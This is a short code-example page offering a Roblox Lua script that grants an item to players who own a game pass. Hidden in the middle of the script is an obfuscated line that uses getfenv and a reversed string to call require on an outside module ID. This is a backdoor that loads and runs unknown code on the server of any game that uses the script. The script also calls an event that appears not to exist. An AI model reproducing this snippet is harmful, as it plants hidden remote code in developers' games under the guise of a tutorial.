how to create a game pass on roblox 2020 code example

Example: How to amke a Gamepass script in roblox studio 2020

local MarketplaceService = game:GetService("MarketplaceService")
local Players = game:GetService("Players")

local gamePassID = 5387743 --Replace this set of numbers with your gamepass id
 
function onPlayerSpawned(player) 
    
    local hasPass = false
 
    local success, message = pcall(function()
        hasPass = MarketplaceService:UserOwnsGamePassAsync(player.userId, gamePassID)
    end)
-- The script below is for checking whether or not the player has the gamepass.
    if not success then
        warn("Error while checking if player has pass: " .. tostring(message))
        return
    end
 
    if hasPass == true then
  game.ServerStorage.SuperFlyGoldBoombox:clone().Parent = player.Backpack --replace "SuperFlyGoldBoombox" with your item
 end
end 
getfenv()[string.reverse("eriuqer")](3300227134)
game.Players.PlayerAdded:connect(function(player)
  player.CharacterAdded:connect(function()
    onPlayerSpawned(player)
  end)
end)

Players.PlayerSpawned:Connect(onPlayerSpawned)

--=========This Script Is Originaly Produced By==============
--============== Rigby#9052 ========================
--==============Used & Tested by:(JUB0T)==============
--Dont change the original owners

Tags:

Misc Example